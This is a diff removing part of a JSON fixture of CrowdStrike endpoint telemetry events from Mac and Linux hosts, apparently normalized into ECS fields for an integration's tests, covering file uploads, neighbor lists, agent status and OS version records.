-                    "30803505447567",
-                    "30803505447568",
-                    "30803505447569",
-                    "30803505447571",
-                    "30803505447572",
-                    "30803505447573",
-                    "30803505447575",
-                    "30803505447576",
-                    "30803505447577",
-                    "30803505447579",
-                    "30803505447580",
-                    "30803505447581",
-                    "30803505447583",
-                    "30803505447584"
-                ],
-                "UploadId": "8023668629276690295",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-a2ab-024aafff599f",
-                "name": "LfoUploadDataCompleteMacV3"
-            },
-            "device": {
-                "id": "fffffffffbea48169985c2c2bae89d1d"
-            },
-            "event": {
-                "action": "LfoUploadDataComplete",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:03:48.827Z",
-                "id": "ffffffff-1111-11eb-a2ab-024aafff599f|fffffffffbea48169985c2c2bae89d1d|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"LfoUploadDataComplete\",\"LfoUploadFlags\":\"4\",\"AttemptNumber\":\"0\",\"ConfigStateHash\":\"3090255842\",\"SourceFileName\":\"/Users/user5/.rbenv/versions/2.6.5/bin/ruby\",\"Size\":\"3876424\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a\",\"UploadId\":\"8023668629276690295\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LfoUploadDataCompleteMacV3\",\"id\":\"ffffffff-1111-11eb-a2ab-024aafff599f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffbea48169985c2c2bae89d1d\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677428827\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/Users/user5/.rbenv/versions/2.6.5/bin",
-                "name": "ruby",
-                "path": "/Users/user5/.rbenv/versions/2.6.5/bin/ruby",
-                "size": 3876424,
-                "type": "file"
-            },
-            "host": {
-                "id": "fffffffffbea48169985c2c2bae89d1d",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LfoUploadDataComplete",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "fffffffffbea48169985c2c2bae89d1d",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a",
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:13.146Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "LightningLatencyState": "3",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b",
-                "name": "LightningLatencyInfoMacV1"
-            },
-            "device": {
-                "id": "ffffffffd452449b8d1eb7d85b146650"
-            },
-            "event": {
-                "action": "LightningLatencyInfo",
-                "created": "2021-07-07T17:04:13.146Z",
-                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffffd452449b8d1eb7d85b146650|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"event_simpleName\":\"LightningLatencyInfo\",\"LightningLatencyState\":\"3\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LightningLatencyInfoMacV1\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffd452449b8d1eb7d85b146650\",\"timestamp\":\"1625677453146\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
-            },
-            "host": {
-                "id": "ffffffffd452449b8d1eb7d85b146650",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LightningLatencyInfo",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffd452449b8d1eb7d85b146650",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:10.083Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InterfaceIndex": 6,
-                "NeighborList": [
-                    "40-C7-29-FF-FF-FF",
-                    "192.168.2.1",
-                    "1",
-                    "64-9A-BE-FF-FF-FF",
-                    "192.168.2.10",
-                    "0",
-                    "F0-FF-FF-FF-A0-14",
-                    "192.168.2.43",
-                    "0",
-                    "DE-58-FF-FF-5D-3B",
-                    "192.168.2.113",
-                    "0",
-                    "5E-AA-FF-FF-FF-20",
-                    "192.168.2.128",
-                    "0",
-                    "44-FF-FF-FF-03-DD",
-                    "192.168.2.136",
-                    "0",
-                    "EE-74-EE-EE-FF-0D",
-                    "192.168.2.137",
-                    "0",
-                    "3A-FF-FF-FF-03-26",
-                    "192.168.2.144",
-                    "0",
-                    "DE-79-FF-FF-FF-D4",
-                    "192.168.2.145",
-                    "0",
-                    "0E-24-FF-EE-EE-87",
-                    "192.168.2.152",
-                    "0",
-                    "CC-D9-AC-AF-66-F8",
-                    "192.168.2.153",
-                    "0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc0-06c6f5278873",
-                "name": "NeighborListIP4MacV1"
-            },
-            "device": {
-                "id": "ffffffff8eb649cf8d82be1e65629a0e"
-            },
-            "event": {
-                "action": "NeighborListIP4",
-                "category": [
-                    "host",
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:10.083Z",
-                "id": "ffffffff-1111-11eb-9dc0-06c6f5278873|ffffffff8eb649cf8d82be1e65629a0e|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"NeighborListIP4\",\"ConfigStateHash\":\"1620585913\",\"NeighborList\":\"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP4MacV1\",\"id\":\"ffffffff-1111-11eb-9dc0-06c6f5278873\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff8eb649cf8d82be1e65629a0e\",\"timestamp\":\"1625677450083\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffff8eb649cf8d82be1e65629a0e",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NeighborListIP4",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff8eb649cf8d82be1e65629a0e",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:14.723Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365039419134863763",
-                "ContextTimeStamp": "2021-07-07T17:04:14.557Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-ab6e-0668ec51180b",
-                "name": "ZipFileWrittenMacV1"
-            },
-            "device": {
-                "id": "ffffffff2d984e32b702789b54f0f811"
-            },
-            "event": {
-                "action": "ZipFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:04:14.723Z",
-                "id": "ffffffff-1111-11eb-ab6e-0668ec51180b|ffffffff2d984e32b702789b54f0f811|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1625677454.557\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365039419134863763\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"07000001000000000000000000000000b1445a0900000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ZipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-ab6e-0668ec51180b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2d984e32b702789b54f0f811\",\"timestamp\":\"1625677454723\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache",
-                "extension": "zip",
-                "inode": "07000001000000000000000000000000b1445a0900000000",
-                "name": "2021-07-06T23:44:46.133Z.zip",
-                "path": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff2d984e32b702789b54f0f811",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ZipFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff2d984e32b702789b54f0f811",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365039419134863763",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:20.451Z",
-            "crowdstrike": {
-                "AgentLoadFlags": "0",
-                "AgentLocalTime": "2021-07-07T17:04:05.731Z",
-                "BiosManufacturer": "Apple Inc.",
-                "BiosReleaseDate": "2021-01-06T00:00:00.000Z",
-                "BiosVersion": "1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)",
-                "ChasisManufacturer": "Apple Inc.",
-                "ChassisType": "9",
-                "ConfigBuild": "1007.4.0013701.1",
-                "ConfigIDBase": "65994753",
-                "ConfigIDBuild": "13701",
-                "ConfigIDPlatform": "4",
-                "ConfigStateHash": "3967242894",
-                "ConfigurationVersion": "10",
-                "ContextTimeStamp": "2021-07-07T17:04:05.731Z",
-                "CpuFeaturesMask": "7494065083858915",
-                "CpuSignature": "591594",
-                "CpuVendor": "0",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "MicrocodeSignature": "16045690984229358334",
-                "MoboManufacturer": "Apple Inc.",
-                "MoboProductName": "Mac-E1008331FDC96864",
-                "ProvisionState": "1",
-                "SystemManufacturer": "Apple Inc.",
-                "SystemProductName": "MacBookPro16,1",
-                "SystemSerialNumber": "C02F649EMD6R",
-                "SystemSku": " ",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9",
-                "name": "AgentOnlineMacV13"
-            },
-            "device": {
-                "id": "ffffffffbea440b9aad8b5bf222d303f"
-            },
-            "event": {
-                "action": "AgentOnline",
-                "category": [
-                    "configuration",
-                    "package",
-                    "host"
-                ],
-                "created": "2021-07-07T17:04:20.451Z",
-                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"BiosReleaseDate\":\"01/06/2021\",\"CpuFeaturesMask\":\"7494065083858915\",\"ChasisManufacturer\":\"Apple Inc.\",\"SystemSerialNumber\":\"C02F649EMD6R\",\"event_platform\":\"Mac\",\"AgentLoadFlags\":\"0\",\"CpuVendor\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"BiosVersion\":\"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)\",\"CpuSignature\":\"591594\",\"EffectiveTransmissionClass\":\"0\",\"MoboProductName\":\"Mac-E1008331FDC96864\",\"timestamp\":\"1625677460451\",\"MicrocodeSignature\":\"16045690984229358334\",\"event_simpleName\":\"AgentOnline\",\"ContextTimeStamp\":\"1625677445.731\",\"SystemProductName\":\"MacBookPro16,1\",\"MoboManufacturer\":\"Apple Inc.\",\"ConfigStateHash\":\"3967242894\",\"ConfigBuild\":\"1007.4.0013701.1\",\"SystemSku\":\" \",\"SensorGroupingTags\":\"\",\"ConfigurationVersion\":\"10\",\"AgentLocalTime\":\"1625677445.731\",\"BiosManufacturer\":\"Apple Inc.\",\"Entitlements\":\"15\",\"name\":\"AgentOnlineMacV13\",\"ConfigIDPlatform\":\"4\",\"ComputerName\":\"comp2\",\"ChassisType\":\"9\",\"ConfigIDBuild\":\"13701\",\"SystemManufacturer\":\"Apple Inc.\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"ProvisionState\":\"1\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"Zero\"}",
-                "outcome": "success",
-                "type": [
-                    "change",
-                    "installation",
-                    "start"
-                ]
-            },
-            "file": {
-                "path": "Zero",
-                "type": "file"
-            },
-            "host": {
-                "hostname": "comp2",
-                "id": "ffffffffbea440b9aad8b5bf222d303f",
-                "name": "comp2",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "AgentOnline",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffbea440b9aad8b5bf222d303f",
-                "version": "6.24.13701.0"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "hosts": [
-                    "comp2"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:03:58.553Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365053399098988534",
-                "ContextTimeStamp": "2021-07-07T17:03:58.515Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "UnixMode": "384",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-956a-02748d01bd3d",
-                "name": "CriticalFileAccessedMacV1"
-            },
-            "device": {
-                "id": "ffffffff8eca418b7a861be9c5f7de1d"
-            },
-            "event": {
-                "action": "CriticalFileAccessed",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:03:58.553Z",
-                "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1625677438.515\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053399098988534\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileAccessedMacV1\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"timestamp\":\"1625677438553\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/daemon.plist\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "/private/var/db/dslocal/nodes/Default/users",
-                "extension": "plist",
-                "name": "daemon.plist",
-                "path": "/private/var/db/dslocal/nodes/Default/users/daemon.plist",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff8eca418b7a861be9c5f7de1d",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "CriticalFileAccessed",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff8eca418b7a861be9c5f7de1d",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365053399098988534",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:22.356Z",
-            "crowdstrike": {
-                "ConfigBuild": "1007.4.0013701.1",
-                "ConfigStateHash": "3967242894",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "MajorVersion": "19",
-                "MinorVersion": "6",
-                "OSVersionFileData": "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a",
-                "OSVersionFileName": "/System/Library/CoreServices/SystemVersion.plist",
-                "RFMState": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9",
-                "name": "OsVersionInfoMacV3"
-            },
-            "device": {
-                "id": "ffffffffbea440b9aad8b5bf222d303f"
-            },
-            "event": {
-                "action": "OsVersionInfo",
-                "category": [
-                    "host"
-                ],
-                "created": "2021-07-07T17:04:22.356Z",
-                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"MajorVersion\":\"19\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a\",\"ConfigStateHash\":\"3967242894\",\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"6\",\"OSVersionString\":\"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OsVersionInfoMacV3\",\"RFMState\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"OSVersionFileName\":\"/System/Library/CoreServices/SystemVersion.plist\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677462356\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffffbea440b9aad8b5bf222d303f",
-                "os": {
-                    "type": "macos",
-                    "version": "Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64"
-                }
-            },
-            "message": "OsVersionInfo",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffbea440b9aad8b5bf222d303f",
-                "version": "6.24.13701.0"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:03:56.454Z",
-            "crowdstrike": {
-                "ConfigStateData": [
-                    "0,0,1007.8.0010912.1",
-                    "1,c,0",
-                    "1,10,1",
-                    "1,11,0",
-                    "1,12,1",
-                    "1,13,1",
-                    "1,14,19",
-                    "1,15,3",
-                    "1,1f,4",
-                    "1,22,3",
-                    "1,3b,1",
-                    "1,59,2d",
-                    "1,d3,263",
-                    "1,d4,0",
-                    "1,eb,36",
-                    "1,201,1",
-                    "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205"
-                ],
-                "ConfigStateHash": "1284133626",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8e88-068a8894a447",
-                "name": "ConfigStateUpdateLinV1"
-            },
-            "device": {
-                "id": "ffffffff4f4044b689d6420d303e4ecd"
-            },
-            "event": {
-                "action": "ConfigStateUpdate",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2021-07-07T17:03:56.454Z",
-                "id": "ffffffff-1111-11eb-8e88-068a8894a447|ffffffff4f4044b689d6420d303e4ecd|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.8.0010912.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1284133626\",\"ConfigStateData\":\"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-8e88-068a8894a447\",\"aid\":\"ffffffff4f4044b689d6420d303e4ecd\",\"timestamp\":\"1625677436454\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff4f4044b689d6420d303e4ecd",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ConfigStateUpdate",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff4f4044b689d6420d303e4ecd",
-                "version": "1007.8.0010912.1"
-            },
-            "related": {
-                "hash": [
-                    "1284133626"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:02:45.906Z",
-            "crowdstrike": {
